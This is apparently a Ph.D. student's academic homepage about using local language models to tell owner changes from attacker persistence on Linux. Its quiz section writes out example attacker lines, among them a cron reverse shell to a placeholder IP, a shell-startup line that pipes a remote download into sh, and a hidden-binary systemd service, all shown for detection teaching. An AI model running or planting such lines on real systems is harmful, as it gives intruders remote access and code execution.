First-year Ph.D. student · Augusta University
I study how local language models can tell a machine owner's everyday changes apart from an attacker's persistence on Linux. I also serve as a Cyber officer in the U.S. Army National Guard.
$ whoami
Samuel Schwertfeger, Ph.D. student in Computer & Cyber Sciences
$ cat research.txt
Machine-aware local LLMs for Linux persistence detection
Type help to explore.
Now
Ph.D. student
Augusta University, 2026 –
Focus
Linux persistence
Local LLMs for host intrusion detection
Service
Army Cyber officer
U.S. Army National Guard
B.S.
Magna cum laude
Information Technology, Georgia Southern
01 · Research
A new systemd service, cron job, or SSH key can be a routine change by the machine's owner or an attacker making sure they can get back in. Rule-based tools often flag both the same way. My research asks whether a local language model that knows the machine, including its package history and admin activity, can tell the two apart and explain its reasoning.
02 · You make the call
Both look like ordinary configuration changes. Make your call, then see what the machine's history says.
A change appears on the host MITRE ATT&CK T1053.003
0 2 * * * root rsync -a /home/ /mnt/backup/User change
What the machine knows
Scheduled by the admin, uses an installed tool, and writes to a known backup location.
A change appears on the host MITRE ATT&CK T1053.003
*/5 * * * * bash -c 'bash -i >& /dev/tcp/203.0.113.7/4444 0>&1'Attacker persistence
What the machine knows
A reverse shell every five minutes from a service account, with no admin activity behind it.
A change appears on the host MITRE ATT&CK T1543.002
ExecStart=/usr/bin/nginx -g 'daemon off;'User change
What the machine knows
The service arrived with a package the admin just installed.
A change appears on the host MITRE ATT&CK T1543.002
ExecStart=/tmp/.cache/updAttacker persistence
What the machine knows
An unowned service, disguised as a system component, that runs a hidden binary at every boot.
A change appears on the host MITRE ATT&CK T1098.004
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... admin@laptopUser change
What the machine knows
The account owner added their own key from a familiar session.
A change appears on the host MITRE ATT&CK T1098.004
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA...Attacker persistence
What the machine knows
An unknown key on root, written by a web-facing process, gives an attacker a way back in.
A change appears on the host MITRE ATT&CK T1546.004
alias ll='ls -la'User change
What the machine knows
A cosmetic shortcut added by the account's owner.
A change appears on the host MITRE ATT&CK T1546.004
curl -s http://203.0.113.9/s | sh &Attacker persistence
What the machine knows
Every new shell quietly downloads and runs code from an unknown server.
Illustrative examples of the problem, not output from a trained model.
03 · Path
Georgia Southern University
B.S. in Information Technology with a minor in Military Science, through Army ROTC.
Georgia Southern University
Built a SIEM/IDS lab, verified detections across a multi-stage attack, and mapped it to NIST SP 800-53.
Georgia Southern University · U.S. Army National Guard
B.S. and Cyber Security Certificate; commissioned as an officer in the Cyber Branch.
Augusta University
Computer and Cyber Sciences. Researching local language models for Linux intrusion detection.
04 · Projects
2026
A curated, verified list of papers on explainable AI for intrusion detection.
2026
Undergraduate research at Georgia Southern University, advised by Dr. Hayden Wimmer. Built a Splunk and Snort lab, ran a multi-stage attack against it, and verified that detections fired at each stage. Mapped the project to NIST SP 800-53 Audit and Accountability and Incident Response controls.
05 · Contact
I'm happy to discuss collaboration, Linux security, or questions about this work.